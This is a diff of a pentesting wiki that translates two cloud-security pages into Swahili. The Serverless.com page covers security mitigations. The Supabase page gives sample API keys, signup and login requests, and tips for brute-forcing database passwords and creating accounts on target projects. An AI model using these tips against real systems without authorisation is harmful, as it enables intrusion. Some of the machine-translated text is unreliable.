+runtime: nodejs20.x +environment: +DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} +iam: +role: +statements: +- Effect: "Allow" +Action: +- "dynamodb:PutItem" +- "dynamodb:Get*" +- "dynamodb:Scan*" +- "dynamodb:UpdateItem" +- "dynamodb:DeleteItem" +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get - createCustomer: - handler: createCustomer.createCustomer - events: - - httpApi: - path: / - method: post +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get +createCustomer: +handler: createCustomer.createCustomer +events: +- httpApi: +path: / +method: post resources: - Resources: - CustomerTable: - Type: AWS::DynamoDB::Table - Properties: - AttributeDefinitions: - - AttributeName: primary_key - AttributeType: S - BillingMode: PAY_PER_REQUEST - KeySchema: - - AttributeName: primary_key - KeyType: HASH - TableName: ${self:service}-customerTable-${sls:stage} +Resources: +CustomerTable: +Type: AWS::DynamoDB::Table +Properties: +AttributeDefinitions: +- AttributeName: primary_key +AttributeType: S +BillingMode: PAY_PER_REQUEST +KeySchema: +- AttributeName: primary_key +KeyType: HASH +TableName: ${self:service}-customerTable-${sls:stage} ``` - {{#endtab }} {{#endtabs }} -6. Deploy it running **`serverless deploy`** - 1. The deployment will be performed via a CloudFormation Stack - 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs -7. **Test it** - 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed +6. Tumia **`serverless deploy`** +1. Utekelezaji utafanywa kupitia CloudFormation Stack +2. Kumbuka kwamba **lambdas zinapatikana kupitia API gateway** na si kupitia URLs za moja kwa moja +7. **Jaribu** +1. Hatua ya awali itachapisha **URLs** ambapo kazi za lambda za mwisho wa API zako zimewekwa -## Security Review of Serverless.com +## Mapitio ya Usalama wa Serverless.com -### **Misconfigured IAM Roles and Permissions** +### **Mifumo na Ruhusa za IAM Zilizokosewa** -Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation. +Mifumo ya IAM iliyo na ruhusa nyingi inaweza kutoa ufikiaji usioidhinishwa kwa rasilimali za wingu, na kusababisha uvujaji wa data au upotoshaji wa rasilimali. -When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like: +Wakati hakuna ruhusa zilizotajwa kwa kazi ya Lambda, mfumo wenye ruhusa za kuzalisha tu kumbukumbu utaundwa, kama:
-Minimum lambda permissions - +Ruhusa za chini za lambda ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Action": [ - "logs:CreateLogStream", - "logs:CreateLogGroup", - "logs:TagResource" - ], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" - ], - "Effect": "Allow" - }, - { - "Action": ["logs:PutLogEvents"], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" - ], - "Effect": "Allow" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Action": [ +"logs:CreateLogStream", +"logs:CreateLogGroup", +"logs:TagResource" +], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" +], +"Effect": "Allow" +}, +{ +"Action": ["logs:PutLogEvents"], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" +], +"Effect": "Allow" +} +] } ``` -
-#### **Mitigation Strategies** +#### **Mikakati ya Kupunguza** -- **Principle of Least Privilege:** Assign only necessary permissions to each function. - - ```yaml - provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} - ``` - -- **Use Separate Roles:** Differentiate roles based on function requirements. - ---- - -### **Insecure Secrets and Configuration Management** - -Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised. - -The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**! - -> [!CAUTION] -> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!** - -For example, the following example will use SSM to get an environment variable: +- **Kanuni ya Haki Ndogo:** Panga ruhusa zinazohitajika tu kwa kila kazi. ```yaml provider: - environment: - DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` +- **Tumia Majukumu Mbalimbali:** Tofautisha majukumu kulingana na mahitaji ya kazi. + +--- + +### **Siri zisizo Salama na Usimamizi wa Mipangilio** + +Kuhifadhi taarifa nyeti (mfano, funguo za API, akidi za database) moja kwa moja katika **`serverless.yml`** au msimbo kunaweza kusababisha kufichuliwa ikiwa hifadhi zitashambuliwa. + +Njia **iliyopendekezwa** ya kuhifadhi mabadiliko ya mazingira katika faili ya **`serverless.yml`** kutoka serverless.com (wakati wa kuandika hii) ni kutumia watoa huduma wa `ssm` au `s3`, ambao unaruhusu kupata **maadili ya mazingira kutoka vyanzo hivi wakati wa kutekeleza** na **kuunda** mabadiliko ya mazingira ya **lambdas** na **maandishi yasiyo na maadili**! + +> [!CAUTION] +> Hivyo, mtu yeyote mwenye ruhusa ya kusoma mipangilio ya lambdas ndani ya AWS ataweza **kufikia mabadiliko haya yote ya mazingira kwa maandiko wazi!** + +Kwa mfano, mfano ufuatao utatumia SSM kupata mabadiliko ya mazingira: +```yaml +provider: +environment: +DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +``` And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. > [!TIP] -> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**. +> Njia inayopendekezwa ya kuhifadhi mabadiliko ya mazingira kwa kutumia serveless.com ingekuwa **kuhifadhi katika siri ya AWS** na kuhifadhi tu jina la siri katika mabadiliko ya mazingira na **kodhi ya lambda inapaswa kukusanya hiyo**. -#### **Mitigation Strategies** +#### **Mikakati ya Kupunguza** -- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.** -- **Encrypted Variables:** Leverage Serverless Frameworkā€™s encryption features for sensitive data. -- **Access Controls:** Restrict access to secrets based on roles. +- **Ushirikiano wa Meneja wa Siri:** Tumia huduma kama **AWS Secrets Manager.** +- **Mabadiliko Yaliyosimbwa:** Tumia vipengele vya usimbaji vya Serverless Framework kwa data nyeti. +- **Udhibiti wa Ufikiaji:** Punguza ufikiaji wa siri kulingana na majukumu. --- -### **Vulnerable Code and Dependencies** +### **Msimbo na Kazi Zenye Ukatili** -Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks. +Kazi au utegemezi zisizokuwa na usalama zinaweza kuleta udhaifu, wakati usimamizi mbaya wa ingizo unaweza kusababisha mashambulizi ya kuingiza msimbo. -#### **Mitigation Strategies** +#### **Mikakati ya Kupunguza** -- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities. +- **Usimamizi wa Utegemezi:** Sasisha mara kwa mara utegemezi na scan kwa udhaifu. - ```yaml - plugins: - - serverless-webpack - - serverless-plugin-snyk - ``` +```yaml +plugins: +- serverless-webpack +- serverless-plugin-snyk +``` -- **Input Validation:** Implement strict validation and sanitization of all inputs. -- **Code Reviews:** Conduct thorough reviews to identify security flaws. -- **Static Analysis:** Use tools to detect vulnerabilities in the codebase. +- **Uthibitishaji wa Ingizo:** Tekeleza uthibitishaji mkali na usafi wa ingizo zote. +- **Mapitio ya Msimbo:** Fanya mapitio ya kina ili kubaini kasoro za usalama. +- **Analizi ya Kijamii:** Tumia zana kugundua udhaifu katika msingi wa msimbo. --- -### **Inadequate Logging and Monitoring** +### **Kukosa Kurekodi na Kufuata** -Without proper logging and monitoring, malicious activities may go undetected, delaying incident response. +Bila kurekodi na kufuatilia vizuri, shughuli za uhalifu zinaweza kukosa kugunduliwa, kuchelewesha majibu ya tukio. -#### **Mitigation Strategies** +#### **Mikakati ya Kupunguza** -- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**. +- **Kurekodi Kati:** Punguza kumbukumbu kwa kutumia huduma kama **AWS CloudWatch** au **Datadog**. - ```yaml - plugins: - - serverless-plugin-datadog - ``` +```yaml +plugins: +- serverless-plugin-datadog +``` -- **Enable Detailed Logging:** Capture essential information without exposing sensitive data. -- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies. -- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents. +- **Washa Kurekodi Kwa Kina:** Pata taarifa muhimu bila kufichua data nyeti. +- **Weka Arifa:** Sanidi arifa kwa shughuli au tofauti za kushangaza. +- **Kufuata Mara kwa Mara:** Fuata mara kwa mara kumbukumbu na vipimo kwa matukio ya usalama yanayoweza kutokea. --- -### **Insecure API Gateway Configurations** +### **Mikakati ya API Gateway Isiyo Salama** -Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks. +APIs zilizo wazi au zisizo salama zinaweza kutumika kwa ufikiaji usioidhinishwa, mashambulizi ya Denial of Service (DoS), au mashambulizi ya tovuti. -#### **Mitigation Strategies** +#### **Mikakati ya Kupunguza** -- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT. +- **Uthibitishaji na Uidhinishaji:** Tekeleza mifumo thabiti kama OAuth, funguo za API, au JWT. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - authorizer: aws_iam - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +authorizer: aws_iam +``` -- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates. +- **Kukataza Kiwango na Kuchelewesha:** Zuia matumizi mabaya kwa kupunguza viwango vya maombi. - ```yaml - provider: - apiGateway: - throttle: - burstLimit: 200 - rateLimit: 100 - ``` +```yaml +provider: +apiGateway: +throttle: +burstLimit: 200 +rateLimit: 100 +``` -- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers. +- **Sanidi CORS Salama:** Punguza asili, mbinu, na vichwa vinavyoruhusiwa. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - cors: - origin: https://yourdomain.com - headers: - - Content-Type - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +cors: +origin: https://yourdomain.com +headers: +- Content-Type +``` -- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns. +- **Tumia Firewalls za Programu za Mtandao (WAF):** Chuja na fuatilia maombi ya HTTP kwa mifumo ya uhalifu. --- -### **Insufficient Function Isolation** +### **Kukosa Kutengwa kwa Kazi** -Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions. +Rasilimali zinazoshirikiwa na kutengwa kwa kutosha kunaweza kusababisha kupanda kwa mamlaka au mwingiliano usio na makusudi kati ya kazi. -#### **Mitigation Strategies** +#### **Mikakati ya Kupunguza** -- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation. -- **Resource Partitioning:** Use separate databases or storage buckets for different functions. -- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation. +- **Tenga Kazi:** Panga rasilimali tofauti na majukumu ya IAM ili kuhakikisha uendeshaji huru. +- **Kugawanya Rasilimali:** Tumia hifadhidata tofauti au ndoo za kuhifadhi kwa kazi tofauti. +- **Tumia VPCs:** Weka kazi ndani ya Mifumo ya Kibinafsi ya Mtandao kwa kutengwa kwa mtandao iliyoimarishwa. - ```yaml - provider: - vpc: - securityGroupIds: - - sg-xxxxxxxx - subnetIds: - - subnet-xxxxxx - ``` +```yaml +provider: +vpc: +securityGroupIds: +- sg-xxxxxxxx +subnetIds: +- subnet-xxxxxx +``` -- **Limit Function Permissions:** Ensure functions cannot access or interfere with each otherā€™s resources unless explicitly required. +- **Punguza Ruhusa za Kazi:** Hakikisha kazi haziwezi kufikia au kuingilia rasilimali za kila mmoja isipokuwa inahitajika wazi. --- -### **Inadequate Data Protection** +### **Kukosa Ulinzi wa Data** -Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering. +Data isiyosimbwa katika hali ya kupumzika au katika usafiri inaweza kufichuliwa, ikisababisha uvunjaji wa data au uharibifu. -#### **Mitigation Strategies** +#### **Mikakati ya Kupunguza** -- **Encrypt Data at Rest:** Utilize cloud service encryption features. +- **Simbua Data Katika Hali ya Kupumzika:** Tumia vipengele vya usimbaji vya huduma za wingu. - ```yaml - resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - SSESpecification: - SSEEnabled: true - ``` +```yaml +resources: +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +SSESpecification: +SSEEnabled: true +``` -- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions. -- **Secure API Communication:** Enforce encryption protocols and validate certificates. -- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly. +- **Simbua Data Katika Usafiri:** Tumia HTTPS/TLS kwa usafiri wote wa data. +- **Wasiliana kwa API Salama:** Lazimisha itifaki za usimbaji na kuthibitisha vyeti. +- **Simamisha Funguo za Usimbaji kwa Usalama:** Tumia huduma za funguo zinazodhibitiwa na kubadilisha funguo mara kwa mara. --- -### **Lack of Proper Error Handling** +### **Kukosa Usimamizi wa Makosa Sahihi** -Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes. +Ujumbe wa makosa wa kina unaweza kufichua taarifa nyeti kuhusu miundombinu au msingi wa msimbo, wakati makosa yasiyoshughulikiwa yanaweza kusababisha kuanguka kwa programu. -#### **Mitigation Strategies** +#### **Mikakati ya Kupunguza** -- **Generic Error Messages:** Avoid exposing internal details in error responses. +- **Ujumbe wa Makosa ya Jumla:** Epuka kufichua maelezo ya ndani katika majibu ya makosa. - ```javascript - javascriptCopy code// Example in Node.js - exports.hello = async (event) => { - try { - // Function logic - } catch (error) { - console.error(error); - return { - statusCode: 500, - body: JSON.stringify({ message: 'Internal Server Error' }), - }; - } - }; - ``` +```javascript +javascriptCopy code// Mfano katika Node.js +exports.hello = async (event) => { +try { +// Mantiki ya kazi +} catch (error) { +console.error(error); +return { +statusCode: 500, +body: JSON.stringify({ message: 'Internal Server Error' }), +}; +} +}; +``` -- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions. -- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users. +- **Usimamizi wa Makosa Kati:** Simamia na safisha makosa kwa njia ya kawaida katika kazi zote. +- **Fuatilia na Kurekodi Makosa:** Fuata na changanua makosa ndani bila kufichua maelezo kwa watumiaji wa mwisho. --- -### **Insecure Deployment Practices** +### **Mikakati ya Utekelezaji Isiyo Salama** -Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations. +Mikakati ya utekelezaji iliyofichuliwa au ufikiaji usioidhinishwa kwa mabomba ya CI/CD inaweza kusababisha utekelezaji wa msimbo wa uhalifu au mipangilio isiyo sahihi. -#### **Mitigation Strategies** +#### **Mikakati ya Kupunguza** -- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits. -- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data. -- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies. -- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices. +- **Salama Mabomba ya CI/CD:** Tekeleza udhibiti mkali wa ufikiaji, uthibitishaji wa hatua nyingi (MFA), na ukaguzi wa mara kwa mara. +- **Hifadhi Mipangilio kwa Usalama:** Hifadhi faili za utekelezaji bila siri zilizofichwa na data nyeti. +- **Tumia Zana za Usalama za Miundombinu kama Msimbo (IaC):** Tumia zana kama **Checkov** au **Terraform Sentinel** kutekeleza sera za usalama. +- **Utekelezaji Usio Badilika:** Zuia mabadiliko yasiyoidhinishwa baada ya utekelezaji kwa kupitisha mazoea ya miundombinu isiyobadilika. --- -### **Vulnerabilities in Plugins and Extensions** +### **Udhaifu katika Plugins na Nyongeza** -Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications. +Kutumia plugins za tatu zisizokaguliwa au zenye uhalifu kunaweza kuleta udhaifu katika programu zako za serverless. -#### **Mitigation Strategies** +#### **Mikakati ya Kupunguza** -- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources. -- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface. -- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches. -- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises. +- **Kagua Plugins kwa Kina:** Kadiria usalama wa plugins kabla ya kuingizwa, ukipendelea zile kutoka vyanzo vinavyoaminika. +- **Punguza Matumizi ya Plugins:** Tumia tu plugins zinazohitajika ili kupunguza uso wa shambulio. +- **Fuatilia Sasisho za Plugins:** Hifadhi plugins zikiwa na sasisho ili kufaidika na patches za usalama. +- **Tenga Mazingira ya Plugins:** Endesha plugins katika mazingira yaliyotengwa ili kudhibiti hatari zinazoweza kutokea. --- -### **Exposure of Sensitive Endpoints** +### **Kufichua kwa Mipangilio Nyeti** -Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations. +Kazi zinazopatikana kwa umma au APIs zisizo na mipaka zinaweza kutumika kwa shughuli zisizoidhinishwa. -#### **Mitigation Strategies** +#### **Mikakati ya Kupunguza** -- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources. -- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization. -- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting. -- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use. +- **Punguza Ufikiaji wa Kazi:** Tumia VPCs, vikundi vya usalama, na sheria za moto ili kupunguza ufikiaji kwa vyanzo vinavyoaminika. +- **Tekeleza Uthibitishaji Thabiti:** Hakikisha kwamba mipangilio yote iliyofichuliwa inahitaji uthibitishaji na uidhinishaji sahihi. +- **Tumia Mabango ya API kwa Usalama:** Sanidi Mabango ya API kutekeleza sera za usalama, ikiwa ni pamoja na uthibitishaji wa ingizo na kukataza kiwango. +- **Zima Mipangilio Isiyotumika:** Kagua mara kwa mara na zima mipangilio yoyote ambayo haitumiki tena. --- -### **Excessive Permissions for Team Members and External Collaborators** +### **Ruhusa Kupita Kiasi kwa Wajumbe wa Timu na Washirikishi wa Nje** -Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats. +Kutoa ruhusa kupita kiasi kwa wajumbe wa timu na washirikishi wa nje kunaweza kusababisha ufikiaji usioidhinishwa, uvunjaji wa data, na matumizi mabaya ya rasilimali. Hatari hii inaongezeka katika mazingira ambapo watu wengi wana viwango tofauti vya ufikiaji, ikiongeza uso wa shambulio na uwezekano wa vitisho vya ndani. -#### **Mitigation Strategies** +#### **Mikakati ya Kupunguza** -- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks. +- **Kanuni ya Ruhusa Ndogo:** Hakikisha kwamba wajumbe wa timu na washirikishi wana ruhusa tu zinazohitajika kutekeleza majukumu yao. --- -### **Access Keys and License Keys Security** +### **Usalama wa Funguo za Ufikiaji na Funguo za Leseni** -**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI. +**Funguo za Ufikiaji** na **Funguo za Leseni** ni ithibati muhimu zinazotumika kuthibitisha na kuidhinisha mwingiliano na CLI ya Serverless Framework. -- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI. -- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`. +- **Funguo za Leseni:** Ni vitambulisho vya kipekee vinavyohitajika kwa uthibitishaji wa ufikiaji kwa Serverless Framework Toleo la 4 ambalo linaruhusu kuingia kupitia CLI. +- **Funguo za Ufikiaji:** Ithibati zinazoruhusu CLI ya Serverless Framework kuthibitisha na Dashibodi ya Serverless Framework. Wakati wa kuingia na `serverless` cli funguo ya ufikiaji itaundwa na **kuhifadhiwa kwenye laptop**. Unaweza pia kuiseti kama mabadiliko ya mazingira yanayoitwa `SERVERLESS_ACCESS_KEY`. -#### **Security Risks** +#### **Hatari za Usalama** -1. **Exposure Through Code Repositories:** - - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access. -2. **Insecure Storage:** - - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage. -3. **Improper Distribution:** - - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors. -4. **Lack of Rotation:** - - Not regularly rotating keys extends the exposure period if keys are compromised. -5. **Excessive Permissions:** - - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources. +1. **Kufichuliwa Kupitia Hifadhi za Msimbo:** +- Kuweka au kwa bahati mbaya kupeleka Funguo za Ufikiaji na Funguo za Leseni kwenye mifumo ya kudhibiti toleo kunaweza kusababisha ufikiaji usioidhinishwa. +2. **Hifadhi Isiyo Salama:** +- Kuhifadhi funguo katika maandiko wazi ndani ya mabadiliko ya mazingira au faili za mipangilio bila usimbaji sahihi kunaongeza uwezekano wa kufichuliwa. +3. **Usambazaji Mbaya:** +- Kushiriki funguo kupitia njia zisizo salama (k.m., barua pepe, gumzo) kunaweza kusababisha kukamatwa na wahalifu. +4. **Kukosa Mzunguko:** +- Kutokuzungusha funguo mara kwa mara kunaongeza kipindi cha kufichuliwa ikiwa funguo zitavunjwa. +5. **Ruhusa Kupita Kiasi:** +- Funguo zenye ruhusa pana zinaweza kutumika kufanya vitendo visivyoidhinishwa katika rasilimali nyingi. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 6fa6219f8..e14e8cc26 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -1,50 +1,49 @@ -# Supabase Security +# Usalama wa Supabase {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Taarifa za Msingi -As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings. +Kulingana na [**ukurasa wao wa kutua**](https://supabase.com/): Supabase ni mbadala wa Firebase wa chanzo wazi. Anza mradi wako na hifadhidata ya Postgres, Uthibitishaji, APIs za papo hapo, Kazi za Edge, usajili wa Realtime, Hifadhi, na uwasilishaji wa Vector. ### Subdomain -Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`** +Kimsingi, wakati mradi unaundwa, mtumiaji atapata subdomain ya supabase.co kama: **`jnanozjdybtpqgcwhdiz.supabase.co`** -## **Database configuration** +## **Mipangilio ya Hifadhidata** > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`** +> **Taarifa hii inaweza kupatikana kutoka kiungo kama `https://supabase.com/dashboard/project//settings/database`** -This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\ -The password is a **password the user put** previously. +Hii **hifadhidata** itapelekwa katika eneo fulani la AWS, na ili kuungana nayo itakuwa inawezekana kuungana na: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (hii iliundwa katika us-west-1).\ +Neno la siri ni **neno la siri ambalo mtumiaji aliweka** awali. -Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**. +Kwa hivyo, kwa kuwa subdomain ni maarufu na inatumika kama jina la mtumiaji na maeneo ya AWS ni ya kikomo, inaweza kuwa inawezekana kujaribu **kuvunjavunja nenosiri**. -This section also contains options to: +Sehemu hii pia ina chaguzi za: -- Reset the database password -- Configure connection pooling -- Configure SSL: Reject plan-text connections (by default they are enabled) -- Configure Disk size -- Apply network restrictions and bans +- Kurekebisha nenosiri la hifadhidata +- Kuunda muunganisho wa pooling +- Kuunda SSL: Kata muunganisho wa maandiko (kwa kawaida zimewezeshwa) +- Kuunda ukubwa wa Diski +- Kutumia vizuizi na marufuku za mtandao -## API Configuration +## Mipangilio ya API > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`** +> **Taarifa hii inaweza kupatikana kutoka kiungo kama `https://supabase.com/dashboard/project//settings/api`** -The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`. +URL ya kufikia API ya supabase katika mradi wako itakuwa kama: `https://jnanozjdybtpqgcwhdiz.supabase.co`. -### anon api keys +### funguo za anon api -It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in +Itazalisha pia **funguo ya API ya anon** (`role: "anon"`), kama: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` ambayo programu itahitaji kutumia ili kuwasiliana na funguo ya API iliyofichuliwa katika mfano wetu katika -It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be: +Inawezekana kupata API REST ya kuwasiliana na API hii katika [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), lakini mwisho wa kuvutia zaidi ungekuwa:
-Signup (/auth/v1/signup) - +Usajili (/auth/v1/signup) ``` POST /auth/v1/signup HTTP/2 Host: id.io.net @@ -69,13 +68,11 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-Login (/auth/v1/token?grant_type=password) - +Ingia (/auth/v1/token?grant_type=password) ``` POST /auth/v1/token?grant_type=password HTTP/2 Host: hypzbtgspjkludjcnjxl.supabase.co @@ -100,68 +97,63 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**. +Hivyo, kila wakati unapotambua mteja anayetumia supabase na subdomain waliyotolewa (inawezekana kwamba subdomain ya kampuni ina CNAME juu ya subdomain yao ya supabase), unaweza kujaribu **kuunda akaunti mpya kwenye jukwaa kwa kutumia supabase API**. -### secret / service_role api keys +### funguo za siri / service_role api -A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**. +Funguo ya siri ya API pia itaundwa na **`role: "service_role"`**. Funguo hii ya API inapaswa kuwa ya siri kwa sababu itakuwa na uwezo wa kupita **Row Level Security**. -The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` +Funguo ya API inaonekana kama hii: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` -### JWT Secret +### JWT Siri -A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**. +**JWT Siri** pia itaundwa ili programu iweze **kuunda na kusaini token za JWT za kawaida**. -## Authentication +## Uthibitishaji -### Signups +### Usajili > [!TIP] -> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints. +> Kwa **kawaida** supabase itaruhusu **watumiaji wapya kuunda akaunti** 